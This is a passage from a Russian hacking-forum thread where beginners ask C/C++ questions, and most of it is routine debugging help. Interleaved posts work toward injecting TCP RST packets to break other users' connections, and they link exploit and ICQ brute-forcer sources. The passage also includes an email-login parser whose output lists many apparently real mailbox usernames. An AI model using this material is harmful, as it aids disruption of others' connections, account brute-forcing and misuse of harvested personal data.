Просмотр полной версии : [c/c++] Новичкам: задаем вопросы
Страницы :
1
2
3
4
[
5]
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
Может так?
strcpy(message_buf[i], argv[i]);
:)
и вот этого, я думаю будет достаточно:
delete []message_buf;
Может так?
strcpy(message_buf[i], argv[i]);
:)
и вот этого, я думаю будет достаточно:
delete []message_buf;
criz, извени конечно, но ты не прав...
strcpy(message_buf[i], argv[i]) - это опасная конструкция и она подвержена переполнению, так как не проверяет входящую строку на длинну...так что надо юзать именно strncpy.
delete []message_buf; - одного этого не достаточно, надо очиститть память и для каждого элемента...
ясно :)
Просто ты указываешь sizeof(argv[argc]), а это 4 байта. Вот я и решил не ограничиваться 4мя байтами :rolleyes:
ясно :)
Просто ты указываешь sizeof(argv[argc]), а это 4 байта. Вот я и решил не ограничиваться 4мя байтами :rolleyes:
кстате да спасибо , тут тоже ошибка надо было sizeof(argv[i])
но весь трабл не в этом ..... =((
при выделении памяти под элименты масива не зависимо от того что я передам в argv код
for(int u=0;argv[u] != NULL;u++)message_buf[u]=new char[sizeof(argv[u])];
выделяет по 4 байта.... попробуйте собрать этот исходник под виндой и скажите проблема такая же??
argv[i] - указатель. sizeof от указателя = 4. Юзай strlen().
argv[i] - указатель. sizeof от указателя = 4. Юзай strlen().
Спасибо ошибку понял. Все работает.
Ребят помогите.
Нужен любой код бинарного дерева ( чтоб добавлять, удалять редактировать.) На С++.
ПРосто любой рабочий, обыскал моно сказать все и ни как если есть у кого вылоите плз.
De-visible
21.04.2008, 01:40
_http://forum.vingrad.ru/forum/s/34d46f3f9f3c02ea59529320070694a3/topic-99013/anchor-entry1469467/0.html
_http://programmersforum.ru/showthread.php?p=92241
_http://alglib.sources.ru/sorting/heapsort.php
_http://forum.codenet.ru/showthread.php?t=44506 (паскаль, на всякий случай)
reversys
21.04.2008, 01:56
да set в STL используй!
reversys
насколько я понимаю, ему нужно для обучения а не для работы. Или ты ему для обучения предлагаешь код этого stl-кого сета взять?
Loker
Если очень нужно, в среду могу написать, если будет время. А вообще - посмотри по ссылкам которые дали.
reversys
21.04.2008, 23:45
имел ввиду для работы.
Как отправить tcp-пакет, с нужным мне флагом, например RST?
тебе нужно рыть в сторону raw socket
google:
http://www.google.ru/search?aq=-1&oq=&complete=1&hl=ru&newwindow=1&q=raw+socket+tcp&btnG=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA&lr=lang_ru
вот например реализация в линухе:
http://www.securitylab.ru/poc/extra/222314.php
1) Нужно ли мне заполнять ИП-заголовок? Мне ведь надо только тсп-пакет изменить...
2) Если я отправлю пакет с РСТ-флагом, то соединение завершится?
http://www.lib.ru/TCPBOOK/
Здесь все что те понадобиться для правильного формирования пакетов, а задавая по 1 вопросу ты бушь долго учиться
1) Нужно ли мне заполнять ИП-заголовок? Мне ведь надо только тсп-пакет изменить...
А как тогда ось узнает, на какой ип отправлять пакет?
Вот, есть такой алгоритм..в голове у меня :)
запускаю сниффер, он фильтрует пакеты. Если данные идут на микрософт.ру, то прога отправляет пакет с рст-флагом и соединение сбрасывается.
Я фантазер? :)
#urbaner
24.04.2008, 16:02
Доброго времени суток!Вот хотел освоить технику ини файлов на С++, вот код
void __fastcall TForm1::FormClose(TObject *Sender, TCloseAction &Action)
{
TIniFile *ini;
ini = new TIniFile(ChangeFileExt( Application->ExeName, ".INI" ) );
ini->WriteInteger( "Form", "Top", Top );
ini->WriteInteger( "Form", "Left", Left );
ini->WriteString ( "Form", "Caption", Caption );
ini->WriteBool ( "Form", "InitMax",
WindowState == wsMaximized );
delete ini;
Но, он почему то не пашет, пишет UNDIFENED SYMBOL "TIniFile":(В чем дело?Кто подскажет?
Delimiter
24.04.2008, 16:12
2 criz //// не фантазер!
только даже не начинай использовать.... raw sock
потеряешь время, делай сразу на WinPCap
... винпикап продокументирован и примеры есть
#urbaner
подключи
#include <vcl.h>
#include <inifiles.hpp>
#urbaner
24.04.2008, 16:36
#urbaner
подключи
#include <vcl.h>
#include <inifiles.hpp>
Спасибо, подключил, РАБОТАЕТ!!! :)
Admin Derek
24.04.2008, 16:46
здрасте :) я тут новеньки ненаю куды эт вопрос писать исли не туды написал простите, дело вот в чём:
хотелось бы написать простенькую программу которрая при приходе сообщения на мою асю тутже отправляла ответ который я зааранее подготовил, вот вы пример на С++ покажите подробный а я потом сам, пж, зааранее благодарю :)
простенькая программка это Hello World
сорцов на си я не видел а про протокол можешь поичтать
здесь http://www.icqinfo.ru/protocol_v8.shtml
хотелось бы написать простенькую программу которрая при приходе сообщения на мою асю тутже отправляла ответ который я зааранее подготовил
тебе нужна программа или тебе нужно научиться кодить на Си?
если вариант первый то исчи в гугле или же на ачате словосочетание "icq bot".тут кажись были сорсы на перле или на РНР насколько я помню.
а если вариант второй то во первых научись кодить на си, потом прочитай протокол, потом пиши своего бота
ForNeVeR
24.04.2008, 20:11
-> Admin Derek
Программка для работы с ICQ только в первом приближении может считаться простенькой... Только если с окошком клиента взаимодействовать (т.к. в нём все эти фишки взаимодействия с протоколом уже реализованы). Я бы посоветовал ознакомиться с возможностями QIP SDK ( http://qip.ru ). Возможно, думаю, реализовать в качестве простецкого плагина к QIP'у.
только даже не начинай использовать.... raw sock
потеряешь время, делай сразу на WinPCap
А чем плох вариант с raw-сокетами?
З.Ы. уже скачал dev-pack с winpcap.org =)
Delimiter
24.04.2008, 22:42
потому что никто не ответит на вопрос каким образом мелкософт блокирует роу сокеты.
роу сокеты - черный ящик дырки в который могут быть закрыты в любой момент апгрейдом
Помогите разобраться как работает функция pcap_remoteact_close(). В сорцах winpcap'a я нашел только описание функции, а вот тело ее я не нашел.
З.Ы. она мне возвращает:
"The host you want to close the active connection is not known"
Помогите разобраться как работает функция pcap_remoteact_close(). В сорцах winpcap'a я нашел только описание функции, а вот тело ее я не нашел.
З.Ы. она мне возвращает:
глянь тут:
__ftp://ftp.ausmac.net/disk1/security/packet-capture/winpcap/docs/man/html/pcap-new_8c-source.html#l01153
есть у кого сорцы на си кого нибудь регера мыл просто не могу разобраться
с запросами как передать параметрами как работать с куками?
De-visible
25.04.2008, 23:09
_http://forum.x-coder.ru/showthread.php?t=559
там на форуме даже не могут отличить сорцы Си от php
а мне хотелось бы на СИ
блин... стыдно не отличать сорсы си от сорсов пхп.
убейся ап стену
как пример. если есть декларация переменнных то Си.
если есть директивы #include то Си.
если есть <? или <?php то РНР.
глянь тут:
__ftp://ftp.ausmac.net/disk1/security/packet-capture/winpcap/docs/man/html/pcap-new_8c-source.html#l01153
Все равно сложновато... Не могу понять, что я делаю не так...
Что нужно сделать перед вызовом функции pcap_remoteact_close()
блин... стыдно не отличать сорсы си от сорсов пхп.
убейся ап стену
как пример. если есть декларация переменнных то Си.
если есть директивы #include то Си.
если есть <? или <?php то РНР.
ты про кого
есть у кого сорцы на си кого нибудь регера мыл просто не могу разобраться
с запросами как передать параметрами как работать с куками?
Выполняешь браузером запросы при регистрации мыла, перехватываешь пакеты снифером, открываешь мануал по сокетам и шлешь запросы по образцу подставляя нужные тебе данные.
max_rebel
27.04.2008, 18:59
всем привт я полный ламерище в С вот немогу разобраться как сделать так чтоб после того как комп спрашивает моё имя он его выводил бы в начале текста и в конце:
#include <stdio.h>
int main()
{
char name[20];
printf("What is your name?\n");
scanf("%s",name);
printf(" Hello ,%s!\n",name); /* ну здесь вроде работает */
printf("\n");
printf(" Yesterday for the first time I started to learn C\n");
printf("which was very interesting. No big plans exept \n");
printf("trojans so far.But I have some more peacefule ideas\n ");
printf("as well\n");
printf("%40s","Thank you "); /* после you должно идти имя, ккжется имя не отображается из-за
%40s если это убрать и понатыкать пробелов тогда имя отображается,но мне из принципа надо чтоб имя отображалось и ари этом бы работало %40s*/
return(0);
}
чтобы знать как сделать так чтоб после того как комп спрашивает моё имя он его выводил бы в начале текста и в конце надо иметь мозги ясно?
хоть бы имел мозги скопипастить printf(" Hello ,%s!\n",name); и поменять там текст.
кароче сделай так. printf("Thank you, %s", name);
понял?
и вместо того чтобы просто копипастить код с книжки читай и понимай что там написано, ламарище как ты сам изволился выразиться про себя
всем привт я полный ламерище в С вот немогу разобраться как сделать так чтоб после того как комп спрашивает моё имя он его выводил бы в начале текста и в конце:
#include <stdio.h>
int main()
{
char name[20];
printf("What is your name?\n");
scanf("%s",name);
printf(" Hello ,%s!\n",name); /* ну здесь вроде работает */
printf("\n");
printf(" Yesterday for the first time I started to learn C\n");
printf("which was very interesting. No big plans exept \n");
printf("trojans so far.But I have some more peacefule ideas\n ");
printf("as well\n");
printf("%40s","Thank you "); /* после you должно идти имя, ккжется имя не отображается из-за
%40s если это убрать и понатыкать пробелов тогда имя отображается,но мне из принципа надо чтоб имя отображалось и ари этом бы работало %40s*/
return(0);
}
#include <stdio.h>
int main()
{
char name[20];
printf("What is your name?\n");
scanf("%s",name);
printf(" Hello ,%s!\n",name);
printf("\n");
printf(" Yesterday for the first time I started to learn C\n");
printf("which was very interesting. No big plans exept \n");
printf("trojans so far.But I have some more peacefule ideas\n ");
printf("as well\n");
printf("%s, Thank You",name);
return(0);
}
max_rebel
27.04.2008, 19:23
не меня наверно не поняли :
%40s - это там для того чтоб Thank you отображалось не по левому краю а в правом конце строки из 40 знаков. Ясен хер что без %40s всё работает=) чж не зря это написал)) Мне нужно чтоб слова Hello NAME отображалась в правой части строки - поэтому там столько пробелов! И в самом конце слова Than you NAME отображались бы в правой части строки - поэтому там написано %40s
Вот в этом и есть проблема
не меня наверно не поняли :
%40s - это там для того чтоб Thank you отображалось не по левому краю а в правом конце строки из 40 знаков. Ясен хер что без %40s всё работает=) чж не зря это написал)) Мне нужно чтоб слова Hello NAME отображалась в правой части строки - поэтому там столько пробелов! И в самом конце слова Than you NAME отображались бы в правой части строки - поэтому там написано %40s
Вот в этом и есть проблема
#include <stdio.h>
int main()
{
char name[20];
printf("What is your name?\n");
scanf("%s",name);
printf(" Hello ,%s!\n",name);
printf("\n");
printf(" Yesterday for the first time I started to learn C\n");
printf("which was very interesting. No big plans exept \n");
printf("trojans so far.But I have some more peacefule ideas\n ");
printf("as well\n");
printf("%40s, Thank You",name);
return(0);
}
max_rebel
27.04.2008, 19:30
иными словами если тупо жать пробел то всё будет рботать
-------------------------------------------------------------
printf(" Hello ,%s!\n",name);
-------------------------------------------------------------
а если вот так
---------------------------------------------------
printf("%40s","Thank you %s ,name");
--------------------------------------------------
то не работает=(
иными словами если тупо жать пробел то всё будет рботать
-------------------------------------------------------------
printf(" Hello ,%s!\n",name);
-------------------------------------------------------------
а если вот так
---------------------------------------------------
printf("%40s","Thank you %s ,name");
--------------------------------------------------
то не работает=(
я проверял, все работает.
max_rebel
27.04.2008, 19:33
Это работает,это я пробовал но мне надо вот так printf("%40s","Thank you %s ,name");
Чтобы имя было ПОСЛЕ "Thank you" и вся это фраза была бы в правом конце строки
Это работает,это я пробовал но мне надо вот так printf("%40s","Thank you %s ,name");
Чтобы имя было ПОСЛЕ "Thank you" и вся это фраза была бы в правом конце строки
#include <stdio.h>
int main()
{
char name[20];
printf("What is your name?\n");
scanf("%s",name);
printf(" Hello ,%s!\n",name);
printf("\n");
printf(" Yesterday for the first time I started to learn C\n");
printf("which was very interesting. No big plans exept \n");
printf("trojans so far.But I have some more peacefule ideas\n ");
printf("as well\n");
printf("Thank You,%40s",name);
return(0);
}
max_rebel
27.04.2008, 19:42
АГа почти то что нужно!=)но между ними не должно быть такого расстояния - короче эта фраза должна быть как бы под Hello NAME только в завершении текста
АГа почти то что нужно!=)но между ними не должно быть такого расстояния - короче эта фраза должна быть как бы под Hello NAME только в завершении текста
#include <stdio.h>
int main()
{
char name[20];
printf("What is your name?\n");
scanf("%s",name);
printf(" Hello ,%s!\n",name);
printf("\n");
printf(" Yesterday for the first time I started to learn C\n");
printf("which was very interesting. No big plans exept \n");
printf("trojans so far.But I have some more peacefule ideas\n ");
printf("as well\n");
printf("%40s"," ");
printf("Thank You,%s",name);
return(0);
}
Если правильно понял, то так.
max_rebel
27.04.2008, 19:51
О! Спасибо огромное! Всё как и было задумано....теперь бы вот ещё понять почему так правильно))
О! Спасибо огромное! Всё как и было задумано....теперь бы вот ещё понять почему так правильно))
printf("%40s"," "); // Выводим 40 проблеов, без знака конца строки
printf("Thank You,%s",name); // Выводим имя + thank you.
max_rebel
27.04.2008, 20:01
А для чего после запятой " " в строке printf("%40s"," "); ?
max_rebel
27.04.2008, 20:04
А кстати она закрывается если её запускать не из cmd =(Что подправить чтоб она не закрывалась?
А для чего после запятой " " в строке printf("%40s"," "); ?
Чтобы выводилось 40 пробелов. =\
А кстати она закрывается если её запускать не из cmd =(Что подправить чтоб она не закрывалась?
getch()
max_rebel
27.04.2008, 20:07
Т.е. то что между кавычками должно вывестись 40 раз? Я подставил туда А - 40 раз не вывелось на экран. И что исправить чтоб прога не закрывалась сразу же?
А для чего после запятой " " в строке printf("%40s"," "); ?
%40s = через сорок символов, вывести строку типа строка, которая ссылается на область память где записана " ". Вместо " ", мона было написать так
char blank[]=" ";
printf("%40s",blank);
PS Вообщето, %40 - округляет строку до 40 символов.
max_rebel
27.04.2008, 20:12
спасибо,мне пока ещё рановато такое=((ещё недели две три до такого уровня=(
Admin Derek
28.04.2008, 15:31
тебе нужна программа или тебе нужно научиться кодить на Си?
если вариант первый то исчи в гугле или же на ачате словосочетание "icq bot".тут кажись были сорсы на перле или на РНР насколько я помню.
а если вариант второй то во первых научись кодить на си, потом прочитай протокол, потом пиши своего бота
а есть примеры на С++ дайте ссылочку или напишите прям тут :) оч интересно...
для того чтобы написать примерчик на си или си++ нуно сначала изучить протокол (*
да и вряд ли кто нить напишет. лень все таки (*
хотя там все банально вроди. открываешь сокет. ну и пишешь туда и читаешь оттуда по протоколу. тоесть действия которые нуна делать не отличаются от языка к языку.
Admin Derek
28.04.2008, 15:56
лень все таки (*
неужели не кто не писал не когда ?? а где моно посмотреть ???
ну дак ты скачай сорсы бота на РНР потом переведи на Си
а есть примеры на С++ дайте ссылочку или напишите прям тут :) оч интересно...
Мэн, за тебя писать никто ничего не будет. Ты начни сам и когда возникнут траблы, выкладывай код и мы постораемся помочь.
ЗЫ Исходник брутера асек задохлика - http://zbrute.antichat.ru/zbrute.c
Люди добрые, поможите мну
Не могу с pcap_remoteact_close() справиться, он у меня всегда выдает:
Цитата:The host you want to close the active connection is not known
Люди добрые, поможите мну
Не могу с pcap_remoteact_close() справиться, он у меня всегда выдает:
Код в студию, никто здесь не телепат =\
Sorry :)
char buf[100] = " ";
...
pcap_remoteact_close("192.168.0.1", buf);
Sorry :)
char buf[100] = " ";
...
pcap_remoteact_close("192.168.0.1", buf);
А соединение, открывается без ошибок?
т.е.? Я сначала отлавливаю сниффером ИП, потом вызываю pcap_remoteact_close().
Вот весь сорец(это первый вариант, некрасивый):
#include <conio.h>
#include <stdio.h>
#include <winsock2.h>
#include "head.h"
#include "inc/pcap.h"
#include "inc/remote-ext.h"
#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "wpcap.lib")
#define MAX_PACKET_SIZE 0x10000
#define SIO_RCVALL 0x98000001
// Буфер для приёма данных
char Buffer[MAX_PACKET_SIZE]; // 64 Kb
//Структура заголовка IP-пакета
typedef struct IPHeader {
UCHAR iph_verlen; // версия и длина заголовка
UCHAR iph_tos; // тип сервиса
USHORT iph_length; // длина всего пакета
USHORT iph_id; // Идентификация
USHORT iph_offset; // флаги и смещения
UCHAR iph_ttl; // время жизни пакета
UCHAR iph_protocol; // протокол
USHORT iph_xsum; // контрольная сумма
ULONG iph_src; // IP-адрес отправителя
ULONG iph_dest; // IP-адрес назначения
} IPHeader;
SOCKET s; // Cлущающий сокет.
struct sockaddr_in dst; // Адрес хоста
char src[10];
char dest[10];
char ds[15];
unsigned short lowbyte;
unsigned short hibyte;
void main()
{
WSADATA wsadata;
HOSTENT* phe;
IN_ADDR sa1; //
DWORD opt = 1;
char buf[100] = " ";
char name[128];
unsigned long flag = 1;
WSAStartup(MAKEWORD(2,2), &wsadata);
s = socket( AF_INET, SOCK_RAW, 0);
gethostname(name, sizeof(name));
phe = gethostbyname( name );
ZeroMemory(&dst, sizeof(dst));
dst.sin_family = AF_INET;
dst.sin_addr.s_addr = ((struct in_addr *)phe->h_addr_list[0])->s_addr;
bind(s, (SOCKADDR *)&dst, sizeof(SOCKADDR));
ioctlsocket(s, SIO_RCVALL, &flag);
while( !_kbhit() )
{
int count;
count = recv( s, Buffer, sizeof(Buffer), 0 );
if( count >= sizeof(IPHeader) )
{
IPHeader* hdr = (IPHeader *)Buffer;
sa1.s_addr = hdr->iph_src;
sa1.s_addr = hdr->iph_dest;
printf(inet_ntoa(sa1));
if(strcmp(inet_ntoa(sa1), "192.168.0.1") == 0)
{
pcap_remoteact_close("192.168.0.1", buf);
printf("\n%s\n", buf);
}
printf("\n");
}
}
closesocket(s);
WSACleanup();
}
P(i)n*Fl0p1
28.04.2008, 22:51
Подскажие плиз адреса кнопок Подключения (соеденить) и отключения интернета)
хочу прогу написать которая сама будет через заданное время отключатьи подключать к инету
Подскажие плиз адреса кнопок Подключения (соеденить) и отключения интернета)
хочу прогу написать которая сама будет через заданное время отключатьи подключать к инету
какие адреса? между 0x00000000 и 0x80000000...
P(i)n*Fl0p1
28.04.2008, 23:21
какие адреса? между 0x00000000 и 0x80000000...
угу :rolleyes:
Как разорвать tcp-соединение? :)
З.Ы. перелопатил почти весь гугол, ничего конкретного не нашел :(
З.З.Ы. помогите, оччень надо :rolleyes:
отошли Tcp-пакет с флагом Rst
вот, что получается:
struct tcp_header *tcp_hd;
struct IPHeader *ip_hd;
unsigned short int tcp_win;
unsigned long int tcp_ack;
int packet_len = ETH_HDRSIZE + IP_HDRSIZE + TCP_HDRSIZE;
unsigned char *packet = (unsigned char *)malloc(packet_len);
tcp_hd = (struct tcp_header *)(packet + ETH_HDRSIZE + IP_HDRSIZE);
ip_hd = (struct ip_hd *)(packet + ETH_HDRSIZE + IP_HDRSIZE);
ip_hd->iph_verlen = 4;
ip_hd->iph_tos = 0;
ip_hd->iph_id = htons(55555);
ip_hd->iph_offset = htons(0x4000);
ip_hd->iph_ttl = 128;
ip_hd->iph_protocol = 6;
ip_hd->iph_xsum = 0;
ip_hd->iph_dest = inet_addr("192.168.0.1");
/* Set tcp header */
tcp_hd->tcp_src = htons(80);
tcp_hd->tcp_dst = htons(80);
tcp_hd->tcp_seq = htonl(tcp_ack + tcp_win);
tcp_hd->tcp_ack = 0;
tcp_hd->tcp_res = 0;
tcp_hd->tcp_off = 5;
tcp_hd->tcp_flags = TCP_RST;
tcp_hd->tcp_win = 0;
tcp_hd->tcp_sum = 0;
tcp_hd->tcp_urp = 0;
потом делаю sendto на нужный ИП
Кто подскажет где ошибка, тому дам плюсег :)
brasco2k
29.04.2008, 20:34
Как в C# определить является ли чисо четным?
Как в C# определить является ли чисо четным?
if (number%2==0){ номер четный}
brasco2k
29.04.2008, 20:39
Как в C# определить является ли чисо четным?
Все спасибо не надо разобрался сам :
if (i % 2 == 0)
Все спасибо не надо разобрался сам :
if (i % 2 == 0)
Не помню как, но как-то так вроде быстрее...
if (i >> 1 << 1 = i)
а на асме так точно:
//число в еаксе
shr eax
jc _чётное...
De-visible: а на DELPHI >>If (i mod 2)=0 then<< + ;)
Товарищи, как мне закрыть/сбросить tcp-соединение??? У меня ни с роу-сокетами, ни с winpcap'ом не получается =((
З.Ы. Я наверно получу сейчас либо предупреждение, либо сразу бан... :)
Товарищи, как мне закрыть/сбросить tcp-соединение??? У меня ни с роу-сокетами, ни с winpcap'ом не получается =((
З.Ы. Я наверно получу сейчас либо предупреждение, либо сразу бан... :)
http://www.nestor.minsk.by/sr/2004/01/40114.html
Так, задам иначе вопрос:
Юзер соединяется к серверу. Я знаю ИП этого серва и хочу сбросить/завершить это tcp-соединение. как?
Delimiter
30.04.2008, 01:20
criz ну я тебя же посылал на xakep.ru ..... почему я должен искать за тебя?
держи!
http://www.xakep.ru/post/22248/exploit.txt
и еще
http://www.xakep.ru/post/16680/default.asp
De-visible:Два поста подряд не есть хорошо!
criz ну я тебя же посылал на xakep.ru ..... почему я должен искать за тебя?
держи!
http://www.xakep.ru/post/22248/exploit.txt
спасибо. Я был на хакере, но этого не нашел :)
M@verick
06.05.2008, 12:33
помогите!
программа по сортировке массива в памяти и записи его в файл... не могу найти ошибку
#include <iostream.h>
#include <math.h>
#include <stdio.h>
#include <iomanip.h>
#include <stdlib.h>
#include <conio.h>
#define m(j,jj,n) m[j*n+jj]
void sort(float*,int);
void mp(float*,int);
main()
{
int n,N,i,ii;
float *mas;
printf("\n in n");
scanf("%d",&n);
N=pow(n,2);
mas=(float*)malloc(N*sizeof(float));
for(i=0;i<n;i++)
for(ii=0;ii<n;ii++)
{
printf("\n input element [%d][%d]=",i,ii);
scanf("%f",(mas+i*n)+ii);
}
void sort(float *m,int N)
{
float tmp;
int j,jj;
for (j=0;j<N-1;j++)
for (jj=0;jj<(/N-1)-j;jj++)
if(m[jj]>m[jj+1])
{
tmp=m[jj];
m[jj]=m[jj+1];
m[jj+1]=tmp;
}
}
void mp(float *m,int n)
{
FILE *out;
int j,jj;
char *fname="I:\zzz\tout.txt";
out = fopen(fname,"w");
for (j=0;j<n;j++)
{
for(jj=0;jj<n;jj++)
fprintf(out,"%6.2f",m(j,jj,n));
}
}
fclose(out);
}
Код сначала нормально оформи. =)
Наводка: выражение "2 + 2" наш мозг воспринимает как "2 плюс 2", стало быть "2+2" воспринимается как "2плюс2".
M@verick
06.05.2008, 13:27
а можно ясней излогать?
Уж0с-то какой!
а можно ясней излогать?
можно. Для начала нужно оформить код и объяснить в чем проблема ;)
#include <iostream.h>
#include <math.h>
#include <stdio.h>
#include <iomanip.h>
#include <stdlib.h>
#include <conio.h>
#define m(j,jj,n) m[j*n+jj]
void sort(float*,int);
void mp(float*,int);
main()
{
int n,N,i,ii;
float *mas;
printf("\n in n");
scanf("%d",&n);
N=pow(n,2);
mas=(float*)malloc(N*sizeof(float));
for(i=0;i<n;i++)
for(ii=0;ii<n;ii++)
{
printf("\n input element [%d][%d]=",i,ii);
scanf("%f",(mas+i*n)+ii);
}
}
void sort(float *m,int N)
{
float tmp;
int j,jj;
for (j=0;j<N-1;j++)
for (jj=0;jj<(/N-1)-j;jj++)
if(m[jj]>m[jj+1])
{
tmp=m[jj];
m[jj]=m[jj+1];
m[jj+1]=tmp;
}
}
void mp(float *m,int n)
{
FILE *out;
int j,jj;
char *fname="I:\zzz\tout.txt";
out = fopen(fname,"w");
for (j=0;j<n;j++)
{
for(jj=0;jj<n;jj++)
fprintf(out,"%6.2f",m(j,jj,n));
}
fclose(out);
}
З.Ы. проверял без компилятора... Нет вызовов функций сортировки и записи в файл.
З.З.Ы. обратите внимание на выделение ;)
Помогите пожалуйста мне в этой (http://forum.antichat.ru/thread69659.html) теме,,,всё что там написано я перепробовал, не помогает :(
ForNeVeR
07.05.2008, 19:19
geforse, тебе уже в той теме всё сказали. У твоей проблемы 2 решения:
1. Либо в начале программы (после #include) прописать using namespace std;
2. Либо вместо cin и cout использовать соответственно std::cin и std::cout.
Знающие люди считают второй вариант более предпочтительным при написании новых программ; первый же поможет уменьшить объём работ при конвертации существующих программ из "старого" стандарта в "новый".
#include <iostream.h>
#include <stdafx.h>
int main()
{
std::cout "\n";
return 0;
}
Ошибки:
error C2653: 'std' : is not a class or namespace name
error C2065: 'cout' : undeclared identifier
error C2143: syntax error : missing ';' before 'string'
При добавлении в начало using namespace std; ни чего не меняется :(
geforse, либо так:
#include <iostream>
using namespace std;
int main()
{
cout << "It works!";
return 0;
}
либо так:
#include <iostream>
int main()
{
std::cout << "It works!";
return 0;
}
1. It workS
2. #include <iostream>
http://ipicture.ru/uploads/080509/8425/hJgOkWqZIq.jpg
fatal error C1010: unexpected end of file while looking for precompiled header. Did you forget to add '#include "stdafx.h"' to your source?
http://ipicture.ru/uploads/080509/8425/2S6MXTKhQ2.jpg
fatal error C1010: unexpected end of file while looking for precompiled header. Did you forget to add '#include "stdafx.h"' to your source?
http://ipicture.ru/uploads/080509/8425/64ozyc7vV7.jpg
error C2653: 'std' : is not a class or namespace name
error C2065: 'cout' : undeclared identifier
http://ipicture.ru/uploads/080509/8425/TvBc2CbLtC.jpg
error C2871: 'std' : a namespace with this name does not exist
error C2653: 'std' : is not a class or namespace name
error C2065: 'cout' : undeclared identifier
Думаю так более понятна моя проблема :(
Delimiter
09.05.2008, 11:25
#include <iostream.h>
делай так:
/*file hello.c */
#include <stdio.h>
int main(int argc, char *argv[])
{
printf("Hello, world!\n");
return 0;
}
или так:
#include <unistd.h>
int main(int argc, char *argv[])
{
write(1, "h3110", 5);
return 0;
}
http://ipicture.ru/uploads/080509/8425/5QEMRdTteU.jpg
Работает, но вовсех учебниках по C++ используется cout и cin :(
а кто сказал что это C++?
это чистый C (*
тока я вот одного не пойму. почему этот паразитный инклюд везде сует свой нос? (stdafx.h)
ForNeVeR
09.05.2008, 12:21
Это как-то связано с испоьзованием precompiled headers (какая-то фишка, которая должна по идее сокращать время компиляции программы, использующей много редко изменяющихся хедеров - компилим их один раз и потом юзим). Однако на практике она многим не нужна и вызывает глюки типа невозможности скомпилировать код.
тока я вот одного не пойму. почему этот паразитный инклюд везде сует свой нос? (stdafx.h)
Без него ни чего не работает....
zythar, это C, ему на C++ надо было вроде же.
Без него ни чего не работает.... Все без него работает. Отключить precompiled headers в опциях проекта.
Все без него работает. Отключить precompiled headers в опциях проекта.
Отключил, вот написал:
http://ipicture.ru/uploads/080509/8425/kz25vKSJJK.jpg
fatal error C1083: Cannot open include file: 'iostream.h': No such file or directory
Тоесть нету этого файла ?
Блять..................
Смотри мой предпоследний пост!!!
И убери нах stdafx.h, вот объясни, нахрен ты его вписал?
http://ipicture.ru/uploads/080509/8425/hklb6WIrTF.jpg
fatal error C1083: Cannot open include file: 'iostream.h': No such file or directory
http://ipicture.ru/uploads/080509/8425/YgDQRSfv2O.jpg
error C2143: syntax error : missing ';' before 'string'
УРАА!!
наконец работает = )
Всем спасибо за поддержку :)
наваял тут по быстрому
на студии выдиралку которая из файла мыльников логины выдирает ток не совсем коректно работате
#include <iostream.h>
#include "stdio.h"
#include "stdlib.h"
#include "conio.h"
int parser(char buf[20]);
FILE *yfile;
FILE *rfile;
FILE *mfile;
FILE *ifile;
FILE *bfile;
FILE *lfile;
char *yyfile="yandex.txt";
char *rrfile="rambler.txt";
char *mmfile="mail.ru.txt";
char *iifile="inbox.txt";
char *bbfile="bk.txt";
char *llfile="list.txt";
void main( )
{
char *filename="mail.txt";
FILE *mailfile;
char bufer[20];
mailfile=fopen(filename,"r");
if(mailfile==NULL)
{
printf("Can't open file mail.txt");
exit(1);
}
mfile=fopen(mmfile,"a");
if(mfile==NULL){printf("Can't create/open file mail.txt\n");exit(1);}
yfile=fopen(yyfile,"a");
if(yfile==NULL){printf("Can't create/open file yandex.txt\n");exit(1);}
lfile=fopen(llfile,"a");
if(lfile==NULL){printf("Can't create/open file list.txt\n");exit(1);}
bfile=fopen(bbfile,"a");
if(bfile==NULL){printf("Can't create/open file bk.txt\n");exit(1);}
ifile=fopen(iifile,"a");
if(ifile==NULL){printf("Can't create/open file inbox.txt\n");exit(1);}
rfile=fopen(rrfile,"a");
if(rfile==NULL){printf("Can't create/open file rambler.txt\n");exit(1);}
while(fgets(bufer,20,mailfile))
{
system("cls");
parser(bufer);
printf("Parsing....");
}
fclose(mailfile);
fclose(yfile);
fclose(bfile);
fclose(lfile);
fclose(mfile);
fclose(rfile);
fclose(ifile);
printf("Parsing complete....\n");
}
parser(char buf[20])
{
char buf2[20];
int i=0;
while(buf[i]!='\n')
{
if(buf[i]=='@'){
if(buf[i+1]=='m')
{
fputs(buf2,mfile);//break;
return 0;
}
if(buf[i+1]=='y')
{
fputs(buf2,yfile);//break;
return 0;
}
if(buf[i+1]=='l')
{
fputs(buf2,lfile);//break;
return 0;
}
if(buf[i+1]=='b')
{
fputs(buf2,bfile);//break;
return 0;
}
if(buf[i+1]=='i')
{
fputs(buf2,ifile);//break;
return 0;
}
if(buf[i+1]=='r')
{
fputs(buf2,rfile);//break;
return 0;
}
}
else buf2[i]=buf[i];
i++;
}
return 0;
}
логины она видирает так еще и мусор какой то
satira_2006МММММММММЂяjullightММММ ММММММММЂяishipitkinМММММММММ ЂяmissmurderinММММММММЂяmik8793ММ МММММММММММЂяbeloved3110ММММММ МММЂяase495ММММММММММММММЂя strateg86МММММММММММЂяedmeeММММ ММММММММММЂяdichka777МММММММ МММЂя22adeles08_90МММММММЂяmaster-14МММММММММММЂяk.sofronovМММММ ММММЂяsdaandmuaМММММММММММЂя chentvММММММММММММММЂяgenay_kММ МММММММММММЂяkutja80ММММММММ МММММЂяfinal85МММММММММММММЂ яtitan1963МММММММММММЂяmansur_xМ ММММММММММЂяvladyaМММММММММ МММММЂяkaravaev_sММММММММММЂя beyerМММММММММММММММЂяgulietta_1 983МММММММЂяgallllaaММММММММММ ММЂяlesha20МММММММММММММЂяle5 2ММММММММММММММММЂяvalychudММ ММММММММММЂяbukvarevaММММММММ МММЂяbutcher_stММММММММММЂяnics sonМММММММММММММЂяyawawaМММММ МММММММММЂяaddy2002МММММММММ ММЂяgosha-homeММММММММММЂяrostov_kirovММММ МММЂяshiryaevagММММММММММЂяjer milovММММММММММММЂяbossvamММММ ММММММММЂяteofiliusМММММММММ МЂяsinerМММММММММММММММЂяsn iffМММММММММММММММЂяgury2002ММ ММММММММММЂяrogarММММММММММ МММММЂяsokolov1964МММММММММЂяp rivetoffМММММММММММЂя2k2tommyМММ ММММММММЂяmaxim_69ММММММММММ ММЂяhaki2002ММММММММММММЂяsash a.zxММММММММММММЂяvsevolod67МММ 